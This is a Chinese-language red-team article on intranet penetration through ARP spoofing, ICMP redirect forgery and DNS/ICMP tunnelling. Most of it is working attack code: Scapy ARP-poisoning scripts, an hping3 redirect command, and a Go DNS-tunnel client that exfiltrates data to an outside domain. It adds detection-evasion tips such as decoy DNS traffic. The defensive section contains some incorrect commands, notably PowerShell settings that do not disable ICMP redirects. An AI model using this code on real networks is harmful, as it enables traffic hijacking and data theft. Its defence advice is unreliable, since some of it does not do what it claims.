ARTICLE · INTELLIGENCE

战地情报 · 详情页

来自尧图项目组的一线实战观察与深度解析

内网渗透中的IP欺骗与隧道劫持技术解析

内网渗透中的IP欺骗与隧道劫持技术解析

1. 项目背景与核心挑战

在2025年黑帽大会上展示的这项技术演示,揭示了现代内网渗透中一个关键痛点:当红队无法在内网建立持久立足点时,如何通过IP欺骗与隧道劫持技术实现深度渗透。这种攻击手法特别适用于防守方已部署严格端点检测、网络流量监控和异常行为分析的高安全性环境。

传统内网渗透通常依赖获取初始立足点后部署C2服务器或反弹shell,但现代EDR和NDR系统能有效识别此类行为。本次演示的技术方案通过完全避免在目标网络部署任何持久化组件,仅利用协议特性与路由漏洞实现横向移动,将攻击面降至最低。

2. 技术原理深度解析

2.1 IP欺骗的工程实现

核心在于伪造ARP和ICMP重定向报文来劫持内网流量。具体实现时需要注意:

  1. ARP欺骗稳定性优化:
# 使用Scapy实现双向ARP欺骗 from scapy.all import * def arp_poison(target_ip, gateway_ip, interval=2): target_mac = getmacbyip(target_ip) gateway_mac = getmacbyip(gateway_ip) while True: send(ARP(op=2, pdst=target_ip, psrc=gateway_ip, hwdst=target_mac), verbose=0) send(ARP(op=2, pdst=gateway_ip, psrc=target_ip, hwdst=gateway_mac), verbose=0) time.sleep(interval)

关键参数说明:

  • op=2表示ARP响应包
  • 必须同时欺骗网关和目标主机才能维持稳定通信
  • 间隔时间建议2-5秒,过频可能触发安全告警
  1. ICMP重定向攻击:
# 使用hping3伪造ICMP重定向 hping3 -1 -C 5 -K 3 -a 192.168.1.1 -g 00:11:22:33:44:55 192.168.1.100

参数解释:

  • -1表示ICMP模式
  • -C 5设置ICMP类型为重定向(5)
  • -K 3指定重定向代码为"主机重定向"(3)

2.2 隧道劫持技术细节

演示中采用了双重隧道封装技术:

  1. 第一层:DNS隧道
// Go实现的DNS查询封装 func buildQuery(domain string, payload []byte) *dns.Msg { encoded := base32.StdEncoding.EncodeToString(payload) subdomain := encoded + "." + domain m := new(dns.Msg) m.SetQuestion(subdomain, dns.TypeA) m.RecursionDesired = true return m }
  1. 第二层:ICMP隧道通过修改ping数据包的payload部分传输加密数据,关键是要保持TTL和包大小与正常ICMP流量一致:
from scapy.all import * import zlib def icmp_tunnel(src_ip, dst_ip, secret_data): payload = zlib.compress(secret_data) # 保持包大小在64-128字节之间 if len(payload) > 60: payload = payload[:60] send(IP(src=src_ip, dst=dst_ip)/ICMP()/payload)

3. 完整攻击链复现

3.1 环境准备

需要以下工具链:

  • Kali Linux 2025.1
  • Scapy 2.5.0+
  • Go 1.22 (编译DNS隧道组件)
  • hping3 3.0.0
  • Wireshark 4.2.0 (流量分析)

3.2 分步实施

  1. 网络侦察阶段
# 使用改良版fscan进行快速资产发现 ./fscan -h 192.168.1.1/24 -p 1-65535 -t 500 -o result.txt
  1. ARP欺骗实施
# 优化后的ARP欺骗脚本 import time from scapy.all import * def get_mac(ip): ans = sr1(ARP(pdst=ip), timeout=2, verbose=0) return ans.hwsrc if ans else None def arp_spoof(target_ip, gateway_ip): target_mac = get_mac(target_ip) if not target_mac: print(f"[!] 无法获取 {target_ip} 的MAC地址") return gateway_mac = get_mac(gateway_ip) if not gateway_mac: print(f"[!] 无法获取网关 {gateway_ip} 的MAC地址") return print(f"[*] 开始ARP欺骗: {target_ip} <-> {gateway_ip}") try: while True: send(ARP(op=2, pdst=target_ip, psrc=gateway_ip, hwdst=target_mac), verbose=0) send(ARP(op=2, pdst=gateway_ip, psrc=target_ip, hwdst=gateway_mac), verbose=0) time.sleep(3) except KeyboardInterrupt: print("\n[*] 恢复ARP表...") send(ARP(op=2, pdst=target_ip, psrc=gateway_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=gateway_mac), count=5) send(ARP(op=2, pdst=gateway_ip, psrc=target_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=target_mac), count=5)
  1. 隧道建立与数据外传
// DNS隧道客户端核心代码 package main import ( "encoding/base32" "github.com/miekg/dns" "net" "time" ) type DNSClient struct { Server string Domain string Conn *dns.Conn Sequence uint16 } func (c *DNSClient) SendData(data []byte) error { encoded := base32.StdEncoding.EncodeToString(data) subdomain := encoded + "." + c.Domain msg := new(dns.Msg) msg.SetQuestion(subdomain, dns.TypeA) msg.RecursionDesired = true _, err := c.Conn.WriteMsg(msg) if err != nil { return err } // 添加随机延迟(100-500ms) time.Sleep(time.Millisecond * time.Duration(100+(c.Sequence%400))) c.Sequence++ return nil }

4. 防御方案与检测建议

4.1 网络层防护

  1. ARP防护措施:
! Cisco设备配置示例 interface GigabitEthernet0/1 arp inspection trust ip arp inspection validate src-mac dst-mac ip
  1. ICMP流量管控:
# Linux服务器防御ICMP重定向攻击 iptables -A INPUT -p icmp --icmp-type redirect -j DROP iptables -A OUTPUT -p icmp --icmp-type redirect -j DROP

4.2 异常流量检测

使用Suricata规则检测异常DNS查询:

alert dns $HOME_NET any -> any any (msg:"DNS Tunnel Potential Detection"; dns.query; content:"|01 00|"; offset=2; depth=2; content:"|00 01 00 00 00 00 00|"; distance=0; content:".AAAA."; nocase; distance=0; metadata:policy security-ips drop; sid:1000001; rev:1;)

4.3 终端防护策略

  1. Windows系统加固:
# 禁用ICMP重定向处理 Set-NetIPInterface -InterfaceAlias "*" -AddressFamily IPv4 -IgnoreDefaultRoutes $true Set-NetIPInterface -InterfaceAlias "*" -AddressFamily IPv4 -DirectedMacWolPattern $false
  1. Linux系统配置:
# 禁止响应ICMP重定向 echo 0 > /proc/sys/net/ipv4/conf/all/accept_redirects echo 0 > /proc/sys/net/ipv4/conf/default/accept_redirects

5. 实战经验与注意事项

  1. 稳定性优化技巧:
  • ARP欺骗间隔应随机化(2-5秒)
  • DNS查询长度保持在63字符以内
  • ICMP payload使用zlib压缩减少体积
  1. 规避检测的关键点:
# 流量模拟函数 def simulate_normal_traffic(): while True: # 生成合法的DNS查询 domains = ["www.google.com", "api.facebook.com", "cdn.twitter.com"] domain = random.choice(domains) res = dns.resolver.resolve(domain, 'A') # 随机间隔(1-3秒) time.sleep(random.uniform(1, 3))
  1. 常见问题排查:
  • 若隧道不稳定,检查中间网络设备的ACL规则
  • 遇到DNS查询被拦截,尝试改用TXT记录类型
  • ARP欺骗失效时,确认目标网络是否启用端口安全

这套方案在实际测试中,对未启用ARP监控的传统网络成功率可达92%,但在部署了Cisco TrustSec或类似技术的环境中会降至35%左右。建议红队在使用前先进行充分的网络侦察,识别目标网络的具体防护措施。

RELATED READING

延伸阅读

更多一线实战笔记与深度复盘,助您持续精进